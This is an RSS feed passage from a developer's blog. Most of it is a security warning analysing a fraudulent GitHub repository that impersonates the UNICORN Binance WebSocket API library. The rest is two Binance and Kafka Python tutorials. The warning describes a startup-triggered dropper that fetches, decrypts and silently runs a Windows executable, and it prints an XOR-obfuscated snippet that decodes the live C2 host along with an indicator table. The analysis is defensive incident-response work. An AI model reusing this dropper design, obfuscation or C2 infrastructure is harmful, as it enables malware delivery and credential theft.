<li><p>validating reuse of the same <code>utils/</code> architecture</p>
</li>
<li><p>checking for broader account overlap</p>
</li>
<li><p>identifying additional star/fork anomalies</p>
</li>
<li><p>correlating commit timing and upload choreography</p>
</li>
</ul>
<h2>Final Note</h2>
<p>The first fraudulent UBWA-themed repository was enough to justify a warning.</p>
<p>The broader pattern now justifies something stronger:</p>
<blockquote>
<p>this does not look like an isolated deceptive repository. It looks like a repeatable GitHub malware campaign using multiple lures, shared infrastructure, and manufactured trust signals.</p>
</blockquote>
<p>Open source depends on trust.</p>
<p>Campaigns like this are dangerous not only because they deliver payloads, but because they systematically erode the assumptions people make about what looks legitimate on public platforms.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Security Warning: Fraudulent GitHub Repository Impersonating UNICORN Binance WebSocket API]]></title><description><![CDATA[Update (2026-04-22): Further analysis indicates that this fraudulent repository is likely one lure within a broader GitHub malware campaign.Across the currently confirmed set, multiple repositories sh]]></description><link>https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api</link><guid isPermaLink="true">https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api</guid><category><![CDATA[Security]]></category><category><![CDATA[Malware]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[Python]]></category><category><![CDATA[binance]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 22 Apr 2026 08:19:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e5fcff05-c154-431c-bf90-4122169b23ed.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>Update (2026-04-22):</strong> Further analysis indicates that this fraudulent repository is likely one lure within a broader GitHub malware campaign.<br />Across the currently confirmed set, multiple repositories share the same decoded C2 (<code>api.nailproxy.space</code>), the same staged Windows payload flow, similar <code>utils/</code> dropper architecture, repeated commit choreography, and manipulated-looking social proof.<br />Follow-up analysis: <a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign">nailproxy.space: A Multi-Repository GitHub Malware Campaign</a></p>
</blockquote>
<blockquote>
<p><strong>Further update (2026-04-23):</strong> I published a deeper follow-up on the delivery chain, loader, and StealC-linked final-stage behavior behind this campaign.<br />Read: <a href="https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space">From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space</a></p>
</blockquote>
<blockquote>
<p><strong>TL;DR:</strong> Do <strong>not</strong> clone or run <code>gesine1541ro7/UNICORN-Binance-WebSocket-API</code>.<br />Based on the public startup path, it stages and executes a hidden Windows PE payload at launch.<br />The legitimate project lives here: <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api"><code>oliver-zehentleitner/unicorn-binance-websocket-api</code></a><br />Official package: <a href="https://pypi.org/project/unicorn-binance-websocket-api/"><code>unicorn-binance-websocket-api</code> on PyPI</a></p>
</blockquote>
<p>A GitHub repository using the name <strong>UNICORN-Binance-WebSocket-API</strong> is not a legitimate UBWA console, clone, or community wrapper.</p>
<p>After reviewing the public repository contents, my assessment is:</p>
<blockquote>
<p><strong>This is a fraudulent repository impersonating the UNICORN Binance WebSocket API project while using a fake Binance console narrative as cover for staged Windows payload execution.</strong></p>
</blockquote>
<p>This post documents what I observed, why I consider it malicious, and what I am doing next.</p>
<h2>Why I Looked at It</h2>
<p>I maintain the legitimate <strong>UNICORN Binance WebSocket API</strong> project through the official project channels:</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">Official GitHub repository: oliver-zehentleitner/unicorn-binance-websocket-api</a></p>
</li>
<li><p><a href="https://pypi.org/project/unicorn-binance-websocket-api/">Official PyPI package: unicorn-binance-websocket-api</a></p>
</li>
</ul>
<p>The repository I analyzed is this one:</p>
<ul>
<li><a href="https://github.com/gesine1541ro7/UNICORN-Binance-WebSocket-API">Fraudulent repository: gesine1541ro7/UNICORN-Binance-WebSocket-API</a></li>
</ul>
<p>What initially stood out was not just the reused project name, but also the mismatch between its visible development footprint and its social proof.</p>
<p>At the time of writing, the repository publicly shows:</p>
<ul>
<li><p><strong>816 stars</strong></p>
</li>
<li><p><strong>453 forks</strong></p>
</li>
<li><p><strong>0 issues</strong></p>
</li>
<li><p><strong>0 pull requests</strong></p>
</li>
<li><p><strong>1 contributor</strong></p>
</li>
<li><p><strong>4 commits</strong></p>
</li>
</ul>
<p>That profile is highly unusual for a repository with such limited visible activity.</p>
<p>Another detail that stood out early is the mismatch between the reported fork count and the practically empty-looking public fork surface. Combined with the naming patterns I observed on visible fork-owner accounts, that makes the social proof look even less credible.</p>
<h2>This Is Not a UBWA Console</h2>
<p>On the surface, the repository presents itself as a Python-based Binance streaming console. Its README describes it as an interactive console for real-time market data streaming using the <code>unicorn-binance-websocket-api</code> library.</p>
<p>That framing is deceptive.</p>
<p>This repository is <strong>not</strong> the official UBWA project. It is also not a harmless console wrapper in any meaningful sense. The console story functions as camouflage around the real startup behavior.</p>
<p>The observable code path shows that the project’s real purpose is not interactive Binance tooling. Its meaningful behavior happens immediately at launch and leads into remote retrieval, decryption, staging, and execution of a Windows payload.</p>
<h2>What I Observed in the Startup Path</h2>
<p>The critical behavior starts at program launch.</p>
<p>In <code>main.py</code>, the <code>main()</code> entry point is decorated with <code>@ensure_env</code>:</p>
<pre><code class="language-python">@ensure_env
def main():
</code></pre>
<p>That matters because <code>ensure_env</code> from <code>utils/__init__.py</code> is executed <strong>on the very first invocation of the TUI</strong> — before the user makes any menu selection.</p>
<h3>Execution Flow in <code>utils/__init__.py::_init()</code></h3>
<p>Based on the visible code path, <code>_init()</code> performs the following sequence:</p>
<ol>
<li><p>OS check (<code>win32</code> / <code>linux</code> / <code>darwin</code>) and Python version check (≥ 3.8).</p>
</li>
<li><p>Architecture check: <code>arch_label()</code> must return <code>x64</code> or <code>x86</code>, otherwise the code returns early.</p>
</li>
<li><p>Remote endpoint construction using XOR-obfuscated strings from <code>compat.py</code>.</p>
</li>
<li><p>HTTP handshake to <code>POST /api/v1/auth/session</code> to obtain session data such as <code>{nonce, ts}</code>.</p>
</li>
<li><p>HMAC-SHA256 signing of the returned challenge data.</p>
</li>
<li><p><code>POST /api/v1/data/sync</code> with the derived signature to retrieve an encrypted payload.</p>
</li>
<li><p>AES-GCM decryption of the returned blob.</p>
</li>
<li><p>Handoff of the decrypted blob to <code>bootstrap.apply()</code> in a background daemon thread.</p>
</li>
</ol>
<p>That is not normal behavior for a Binance console.</p>
<h2>Payload Staging and Execution</h2>
<p>The strongest signal appears in <code>utils/bootstrap.py</code>.</p>
<h3><code>utils/bootstrap.py::apply()</code></h3>
<p>Based on the exposed code path, the bootstrap routine:</p>
<ul>
<li><p>expects magic bytes <code>MZ</code>, the classic header of a Windows PE executable</p>
</li>
<li><p>writes the blob into the system temp directory</p>
</li>
<li><p>uses a temp prefix resembling Office-style lock artifacts</p>
</li>
<li><p>renames the file to <code>.exe</code></p>
</li>
<li><p>starts it with <code>creationflags=0x08000000</code> (<code>CREATE_NO_WINDOW</code>)</p>
</li>
<li><p>waits for process completion</p>
</li>
<li><p>removes the staged file afterward</p>
</li>
</ul>
<p>In plain language:</p>
<blockquote>
<p><strong>the Python application retrieves, stages, and silently executes a Windows executable payload</strong></p>
</blockquote>
<p>This is the core reason I consider the repository malicious and fraudulent.</p>
<h2>Platform Targeting</h2>
<p>The visible logic suggests that <strong>Windows x86/x64 users are the likely target</strong>.</p>
<p>The code path checks the architecture label and only proceeds with the suspicious bootstrap flow for <code>x64</code> and <code>x86</code>. The bootstrap logic itself also contains an operating system check that avoids executing the payload path on non-Windows systems.</p>
<p>That means Linux, macOS, and ARM-based environments may see relatively harmless behavior, while Windows users are exposed to the actual payload flow.</p>
<p>From an attacker perspective, that is an effective way to reduce suspicion during casual review.</p>
<h2>Technical Details</h2>
<h3>Hidden Trigger Before Any Real Use</h3>
<p>One of the more important details here is not just <em>what</em> the code does, but <em>when</em> it does it.</p>
<p>The suspicious flow is not hidden behind a rare feature, a debug mode, or a later menu action. It is tied directly to the application start through the decorator on <code>main()</code>.</p>
<p>That means a user can be exposed simply by running:</p>
<pre><code class="language-bash">python main.py
</code></pre>
<p>No meaningful interaction is required.</p>
<h3>Deobfuscated Endpoint</h3>
<p>The endpoint is not stored as a plain string. It is built from byte arrays in <code>utils/compat.py</code> and XOR-decoded at runtime.</p>
<p>A simplified reconstruction looks like this:</p>
<pre><code class="language-python"># From utils/compat.py
_API_SCHEMA = bytes([0xAA, 0xB6, 0xB6, 0xB2, 0xB1])
_API_HOST   = bytes([0xF8, 0xED, 0xED, 0xA3, 0xB2, 0xAB, 0xEC])
_API_DOMAIN = bytes([0xAC, 0xA3, 0xAB, 0xAE, 0xB2, 0xB0])
_API_TLD    = bytes([0xAD, 0xBA, 0xBB, 0xEC, 0xB1, 0xB2, 0xA3, 0xA1, 0xA7])
_COMPAT_LEVEL = 194  # 0xC2

raw = _API_SCHEMA + _API_HOST + _API_DOMAIN + _API_TLD
ep = bytes(b ^ 0xC2 for b in raw).decode()
# -&gt; "https://api.nailproxy.space"
</code></pre>
<p>That is not something a legitimate Binance TUI would normally need to hide.</p>
<h3>Encryption / Decryption Path</h3>
<p>Another detail that makes this stand out is the decryption implementation.</p>
<p>The visible logic uses AES-GCM to decrypt the fetched payload. It also appears to include a Windows-specific fallback path using <code>bcrypt.dll</code> if the Python <code>cryptography</code> package is not available.</p>
<p>That matters because it reduces friction for execution. In other words, the suspicious flow does not appear to depend on a clean Python package environment in order to decrypt and continue.</p>
<h3>File Staging Behavior</h3>
<p>The bootstrap stage writes the decrypted blob into the temp directory, then renames it from a temporary filename to an executable filename before starting it.</p>
<p>The observed pattern is notable for two reasons:</p>
<ul>
<li><p>the temporary prefix appears designed to look innocuous</p>
</li>
<li><p>the process is launched without a visible window</p>
</li>
</ul>
<p>Combined with cleanup behavior after execution, this is consistent with staged payload delivery rather than normal application behavior.</p>
<h2>Deobfuscated Indicators</h2>
<p>The following values are relevant from a defensive and incident-response perspective:</p>
<table>
<thead>
<tr>
<th>Artifact</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>C2 endpoint</td>
<td><code>https://api.nailproxy.space</code></td>
</tr>
<tr>
<td>Session path</td>
<td><code>/api/v1/auth/session</code></td>
</tr>
<tr>
<td>Sync path</td>
<td><code>/api/v1/data/sync</code></td>
</tr>
<tr>
<td>DNS-related IP in code</td>
<td><code>104.21.0.1</code></td>
</tr>
<tr>
<td>Additional IP present in pool</td>
<td><code>172.67.0.1</code></td>
</tr>
<tr>
<td>Payload type</td>
<td>Windows PE (<code>MZ</code>)</td>
</tr>
<tr>
<td>Temp prefix</td>
<td><code>~DF</code></td>
</tr>
<tr>
<td>Staged extension</td>
<td><code>.exe</code></td>
</tr>
</tbody></table>
<p>These indicators should be handled as defensive context, not as operational instructions.</p>
<h2>Pycache Analysis</h2>
<p>The repository also contains committed <code>.pyc</code> files under <code>__pycache__/</code>, which is unusual for a small public Python project of this kind.</p>
<p>I decompiled the committed bytecode to determine whether the cached bytecode differed from the visible Python source.</p>
<h3>Result</h3>
<ul>
<li><p>the committed <code>.pyc</code> files are benign in the narrow sense that they match the visible <code>.py</code> files</p>
</li>
<li><p>I found no hidden second-stage logic in those committed cache files</p>
</li>
<li><p>the malicious behavior is already present in the visible source path</p>
</li>
</ul>
<p>That result is useful because it rules out one obvious alternative explanation.</p>
<p>The repository is not “harmless in source, malicious only in cache.” The visible source itself is already enough to justify the assessment above.</p>
<h3>Additional Observation</h3>
<p>There is no <code>__pycache__</code> for the <code>utils/</code> malware-related module path.</p>
<p>That is interesting from a timeline perspective.</p>
<p>A plausible interpretation is that the attacker first worked on the visible facade, and the malicious <code>utils/</code> path was introduced later and pushed without a corresponding committed cache set. I cannot prove that sequencing from this fact alone, but it is consistent with staged repository preparation rather than an ordinary Python project history.</p>
<h2>Obfuscation and Presentation</h2>
<p>Another reason this repository is concerning is how normal it tries to look.</p>
<p>The repository metadata also raises a separate trust problem: GitHub reports a very high fork count, while the visible fork surface appears disproportionately thin. I cannot fully prove the provenance of those forks from public metadata alone, but the mismatch is one more reason not to treat the repository’s apparent popularity as organic.</p>
<p>The project includes:</p>
<ul>
<li><p>a polished README</p>
</li>
<li><p>a plausible Binance/TUI story</p>
</li>
<li><p>generic utility module names like <code>compat</code>, <code>http</code>, <code>integrity</code>, and <code>bootstrap</code></p>
</li>
<li><p>normal-looking comments and docstrings</p>
</li>
<li><p>exception swallowing through debug logging rather than user-visible failures</p>
</li>
</ul>
<p>Taken together, this does not look accidental.</p>
<p>It looks like a repository designed to appear legitimate long enough for a user to trust it.</p>
<h2>Why This Matters Beyond One Repository</h2>
<p>This is not only about name confusion.</p>
<p>It is about trust boundaries.</p>
<p>If a malicious repository can borrow the identity of a known project, accumulate artificial-looking credibility, and trigger hidden execution at startup, then the attack is not just on one maintainer. It is an attack on the trust model developers and users rely on when selecting tools.</p>
<p>This is also related to a broader security lesson I discussed in an earlier Binance API case study:</p>
<ul>
<li><a href="https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api">When IP Whitelisting Isn’t What It Seems: A Real-World Case Study from the Binance API</a></li>
</ul>
<p>That earlier case was about false security assumptions around trust boundaries. This case is different in implementation, but similar in principle: users often assume they are protected by a boundary that turns out to be weaker than expected.</p>
<p>A compromised workstation can make those assumptions much more dangerous.</p>
<h2>What I Verified</h2>
<p>The following points are directly supported by the public repository and GitHub interface at the time of writing:</p>
<ul>
<li><p>A public repository exists under the name <code>gesine1541ro7/UNICORN-Binance-WebSocket-API</code>.</p>
</li>
<li><p>It publicly shows <strong>816 stars</strong>, <strong>453 forks</strong>, <strong>0 issues</strong>, <strong>0 pull requests</strong>, <strong>1 contributor</strong>, and <strong>4 commits</strong>.</p>
</li>
<li><p>Its README presents it as a Binance streaming console using the <code>unicorn-binance-websocket-api</code> library.</p>
</li>
<li><p>Its entry point decorates <code>main()</code> with <code>@ensure_env</code>.</p>
</li>
<li><p>The visible startup path performs a remote session flow, challenge signing, encrypted blob retrieval, decryption, and handoff to a bootstrap routine.</p>
</li>
<li><p>The visible bootstrap routine stages and launches a Windows PE executable.</p>
</li>
<li><p>The committed <code>.pyc</code> files match the visible <code>.py</code> files and do not introduce a separate hidden payload path.</p>
</li>
<li><p>GitHub provides an official abuse reporting path for active malware or exploits.</p>
</li>
</ul>
<h2>Activity Log</h2>
<p><strong>2026-04-22</strong></p>
<ul>
<li><p>Identified a public GitHub repository using the <strong>UNICORN-Binance-WebSocket-API</strong> name while the legitimate project is maintained separately.</p>
</li>
<li><p>Reviewed the publicly exposed startup path and observed behavior consistent with staged Windows payload execution.</p>
</li>
<li><p>Decompiled the committed <code>.pyc</code> files and confirmed they do not contain a separate hidden payload path beyond the visible source.</p>
</li>
<li><p>Preserved technical evidence and documented the relevant indicators.</p>
</li>
<li><p>Prepared a GitHub abuse report for repository review.</p>
</li>
</ul>
<h2>Recommended Response for Users</h2>
<p>If you executed this repository on a Windows system, I would treat that host as potentially compromised.</p>
<p>Recommended next steps:</p>
<ol>
<li><p>Isolate the system.</p>
</li>
<li><p>Preserve evidence before wiping anything.</p>
</li>
<li><p>Review endpoint protection / antivirus / EDR telemetry.</p>
</li>
<li><p>Inspect recent process execution and temporary-file activity.</p>
</li>
<li><p>Review outbound connections.</p>
</li>
<li><p>Rotate any potentially exposed credentials.</p>
</li>
<li><p>Revoke and recreate exchange/API credentials where applicable.</p>
</li>
</ol>
<h2>What I Am Doing Next</h2>
<p>I am preserving the evidence and preparing a report through GitHub’s abuse reporting process.</p>
<p>GitHub documents active malware or exploit-related abuse handling here:</p>
<ul>
<li><a href="https://docs.github.com/en/site-policy/acceptable-use-policies/github-active-malware-or-exploits">GitHub Active Malware or Exploits Policy</a></li>
</ul>
<h2>Final Note</h2>
<p>I am publishing this as a defensive security warning.</p>
<p>This post is not about drama, branding, or speculation for its own sake.</p>
<p>It is about documenting a fraudulent repository that borrows the identity of an established project while exposing users to behavior consistent with staged malware delivery.</p>
<p>Open source depends on trust.</p>
<p>If someone hijacks a trusted project name to stage a payload, that is not just abuse of one maintainer. It is abuse of the ecosystem.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Buy an Asset and instantly create a Take Profit and Stop Loss OCO Sell Order using Python in Binance Isolated Margin]]></title><description><![CDATA[Automate your Binance trading strategy by creating OCO sell orders with Python in isolated margin accounts.

There is always the justified desire to buy an asset and at the same time to create a take ]]></description><link>https://blog.technopathy.club/buy-an-asset-and-instantly-create-a-take-profit-and-stop-loss-oco-sell-order-using-python-in-binance-isolated-margin</link><guid isPermaLink="true">https://blog.technopathy.club/buy-an-asset-and-instantly-create-a-take-profit-and-stop-loss-oco-sell-order-using-python-in-binance-isolated-margin</guid><category><![CDATA[unicorn-binance-rest-api]]></category><category><![CDATA[Python]]></category><category><![CDATA[binance]]></category><category><![CDATA[OCO orders]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 21 Apr 2026 09:17:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/80d23f07-2913-4ea7-bebe-3c49733a54d4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Automate your Binance trading strategy by creating OCO sell orders with Python in isolated margin accounts.</p>
</blockquote>
<p>There is always the justified desire to buy an asset and at the same time to create a take profit and a stop loss order. In this way, if a profit is made, the asset is sold and any risks are minimized.</p>
<p>This strategy consists of two orders: a BUY and an OCO SELL order.</p>
<p>OCO stands for "<a href="https://academy.binance.com/en/glossary/oco-order">One Cancells the Other</a>" and creates both a sell order for Take Profit and one for Stop Loss:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7f0a621d-882c-4a43-82c9-edcdbc40839c.png" alt="" style="display:block;margin:0 auto" />

<p>In this tutorial we will create a Market Buy Order for Binance Isolated Margin in a Python Script and buy some BTC with 15 USDT. We will take the purchased amount of BTC and use it to create an OCO Sell Order that includes both Take Profit and Stop Loss (LIMIT).</p>
<p>In order for the code from this example to work for you, you need to transfer at least 15 USDT to your <a href="https://www.binance.com/en/support/faq/how-to-use-the-isolated-margin-mode-on-binance-2da03a8901de4754ab98800a3a92fdd4">Isolated Margin account on Binance</a> and you need an <a href="https://blog.technopathy.club/how-to-create-a-binance-api-key-and-api-secret">API key/secret pair from Binance.com</a>.</p>
<p>Ok, here we go :)</p>
<p>First, make sure that the latest <a href="https://github.com/oliver-zehentleitner/unicorn-binance-rest-api">UNICORN Binance REST API</a> version is installed:</p>
<pre><code class="language-bash">$ python3 -m pip install unicorn-binance-rest-api --upgrade
</code></pre>
<p>Download this script and enter your API key/secret pair:</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/be1c4880b79db7596cf40b7d169b72f6">https://gist.github.com/oliver-zehentleitner/be1c4880b79db7596cf40b7d169b72f6</a></p>

<p>The comments in the script should help you understand the code.</p>
<p>Watch this video to see how I start the script and what happens on Binance:</p>
<p><a class="embed-card" href="https://youtu.be/iuwoweIFJL4">https://youtu.be/iuwoweIFJL4</a></p>

<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[Passing Binance Market Data to Apache Kafka in Python with aiokafka]]></title><description><![CDATA[Note (2026): CloudKarafka has discontinued their hosted Kafka service — a more up-to-date tutorial on Kafka alternatives is coming soon!

Using a message queuing cluster like Apache Kafka is an excell]]></description><link>https://blog.technopathy.club/passing-binance-market-data-to-apache-kafka-in-python-with-aiokafka</link><guid isPermaLink="true">https://blog.technopathy.club/passing-binance-market-data-to-apache-kafka-in-python-with-aiokafka</guid><category><![CDATA[Python]]></category><category><![CDATA[kafka]]></category><category><![CDATA[binance]]></category><category><![CDATA[unicorn-binance-websocket-api]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 21 Apr 2026 08:58:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/eb96a10c-b2da-4aa5-af7b-19b22bb6e85e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>Note (2026):</strong> CloudKarafka has discontinued their hosted Kafka service — a more up-to-date tutorial on Kafka alternatives is coming soon!</p>
</blockquote>
<p>Using a message queuing cluster like Apache Kafka is an excellent solution for handling a large amount of real-time data from Binance in a redundant and scalable way. Apache Kafka is designed to handle high-volume real-time data streams, providing efficient and reliable message queuing and streaming capabilities. By setting up a Kafka cluster, you can ensure that your data is replicated across multiple nodes and partitions, allowing for failover and high availability.</p>
<p>Additionally, Kafka's distributed architecture allows for easy scaling as your data needs grow. This makes it an ideal solution for processing Binance's real-time data, which can be particularly high volume and time-sensitive.</p>
<p>With <a href="https://kafka.apache.org">Apache Kafka</a> and the Python libraries <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UNICORN Binance WebSocket API</a> and <a href="https://pypi.org/project/aiokafka">aiokafka</a>, you can <strong>build a robust and scalable real-time data processing system that can handle even the most demanding workloads</strong>.</p>
<h4>Okay, what are you going to learn here?</h4>
<p>First, we'll create a free trial system for you at <a href="https://www.cloudkarafka.com">CloudKarafka</a>. This is a cool Kafka cloud service where you can get free access to a shared Kafka cluster consisting of three cluster nodes within minutes and without any significant configuration, and use and test both SSL and user authentication. In the free version, you can manage the Topics via a web interface and produce and consume them manually in the web interface as well as automatically via a websocket connection. The service is optionally hosted on AWS, Google or Azure and you can also choose the geo location.</p>
<p>If you like CloudKarafka's service, you can upgrade to a professional paid subscription that includes many more features such as logging, monitoring, and other security features like firewall, certificates, users, ACLs and more. Their support chat is very fast and helpful.</p>
<p>After that I will show you how you can receive data of any kind from <a href="https://www.binance.com">Binance</a> via websocket connection in real time with the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UNICORN Binance WebSocket API</a> and send it asynchronously to the Kafka cluster with the library <a href="https://pypi.org/project/aiokafka">aiokafka</a>.</p>
<p>To make the tutorial complete, we will read (consume) the data from the Kafka cluster with a separate Python script. You can extend this script according to your needs and run it in separate distributed processes to share the load of data processing.</p>
<p>Reading instructions can also be funny and so I don't want to deprive you of these two illustrations that made me smile while researching on <a href="https://www.confluent.io/blog/apache-kafka-vs-enterprise-service-bus-esb-friends-enemies-or-frenemies/">https://www.confluent.io/blog/apache-kafka-vs-enterprise-service-bus-esb-friends-enemies-or-frenemies</a>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f9ba08e2-bd08-41cd-87d5-67cf231cd135.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Microservices WRONG</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e6bedbb4-b054-41b6-8219-a28bad0584fe.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Microservices CORRECT</strong></p>
<p>The blog article from Confluent is also worth reading apart from the two funny pictures (I hope you share my humor), but I guess if you read this, you already understood what it's about. So let's get started!</p>
<h4>Table of Contents</h4>
<ol>
<li><p>Creating the Apache Kafka test environment</p>
</li>
<li><p>Receive data from Binance and throw it into the Kafka cluster</p>
</li>
<li><p>Read the data from the Kafka cluster</p>
</li>
</ol>
<hr />
<h3>1. Creating the Apache Kafka test environment</h3>
<p>The first step is to sign up for CloudKarafka for free: <a href="https://customer.cloudkarafka.com/login">https://customer.cloudkarafka.com/login</a></p>
<p>Register with your email address, GitHub or Google account. After signing up, you will first be asked to create a team. Fill out the page and click on "<strong>Create team</strong>".</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/8225404f-89fe-4b04-ae0e-84815257186c.png" alt="" style="display:block;margin:0 auto" />

<p>If that worked, you have the option to create a new instance.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/8e213bc8-71a5-4230-8bd9-39e86e263e33.png" alt="" style="display:block;margin:0 auto" />

<p>Don't let the yellow warnings make you nervous, no personal data is required for the trial version.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/eec4304f-cbb8-4de0-9457-e21a1a0ebbbc.png" alt="" style="display:block;margin:0 auto" />

<p>Now you can choose who can host your project and where this should be done. Click on "<strong>Review</strong>" to continue.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/fd10c75d-e0f9-4d74-b739-3e7a2c77c1c3.png" alt="" style="display:block;margin:0 auto" />

<p>If everything fits, confirm the configuration and create the instance.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/57884196-12d2-4cc4-80b1-e1aaa24a8c3f.png" alt="" style="display:block;margin:0 auto" />

<p>Now your shared Apache Kafka instance is available. To manage it, please click on the instance name.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/81f159b6-e4af-42a5-a600-e53ca87168a9.png" alt="" style="display:block;margin:0 auto" />

<p>Note the values of these parameters from the "<strong>OVERVIEW</strong>": Hostname, Default user, Password and Port</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/794df4a5-3980-4fa5-81e1-d53c2b9f4bd0.png" alt="" style="display:block;margin:0 auto" />

<p>The goal of this example is to read from the Binance "trades" webstream the price of each trade from specified markets in real time and pass it to Kafka. Assuming we receive the information of the trades for the markets "btcusdt", "ethusdt" and "ltcusdt", it would be practical to create the following topics for them: <em>"btcusdt_binance_spot_last_trade_price"</em>, <em>"ethusdt_binance_spot_last_trade_price"</em>, <em>"ltcusdt_binance_spot_last_trade_price"</em></p>
<p>To get to the corresponding interface click on "<strong>KAFKA</strong>" in the left menu and then on "<strong>TOPICS</strong>".</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/1cc2bf64-18c0-4c20-8b55-015c82f727c6.png" alt="" style="display:block;margin:0 auto" />

<p>Create the topic <em>"btcusdt_binance_spot_last_trade_price"</em>.</p>
<blockquote>
<p><em><strong>Note:</strong></em> Please note that in the free trial version of CloudKarafka a prefix must be used! In this example the prefix is "<strong>pfyrfgiv-</strong>". Therefore the final name is "<strong>pfyrfgiv-btcusdt_binance_spot_last_trade_price</strong>". For a free test this is good enough!</p>
</blockquote>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/81c646bb-09a3-4281-9256-b10ea0c62347.png" alt="" style="display:block;margin:0 auto" />

<p>Repeat the last step and create more topics for <em>"ethusdt_binance_spot_last_trade_price"</em> and <em>"ltcusdt_binance_spot_last_trade_price"</em>.</p>
<p>This completes the setup of the Kafka cluster and we can start creating the Python script.</p>
<hr />
<h3>2. Receive data from Binance and throw it into the Kafka Cluster</h3>
<p>For the Python script to work, we first install the dependencies:</p>
<pre><code class="language-bash">$ python3 -m pip install aiokafka --upgrade
$ python3 -m pip install unicorn-binance-websocket-api --upgrade
</code></pre>
<p>Since as of today (29–03–2024) kafka-python has released many updates but no new version since 2020, I recommend installing kafka from GitHub:</p>
<pre><code class="language-bash">$ python3 -m pip install git+https://github.com/dpkp/kafka-python.git
</code></pre>
<p>Copy or download the following Python script and paste your Kafka credentials:</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/92b632f582df22523b1d5593faa0a4f4">https://gist.github.com/oliver-zehentleitner/92b632f582df22523b1d5593faa0a4f4</a></p>

<p>If you have followed the previous instructions 1 to 1, the script is now ready and can be started by you!</p>
<p><a class="embed-card" href="https://youtu.be/fnQXNU0kl5E">https://youtu.be/fnQXNU0kl5E</a></p>

<p>I hope everything works out for you so far, should anything go differently for you, feel free to write me in the comments. But in any case take a look at the created logfile, it should be named like the executed script with ".log" at the end.</p>
<hr />
<h3>3. Read the data from the Kafka cluster</h3>
<p>The easiest way to check and admire your work is to open CloudKarafka browser and activate a "<strong>Consumer</strong>".</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/bc0cd98c-b0b8-4f2e-b6a9-b0dc60e05973.png" alt="" style="display:block;margin:0 auto" />

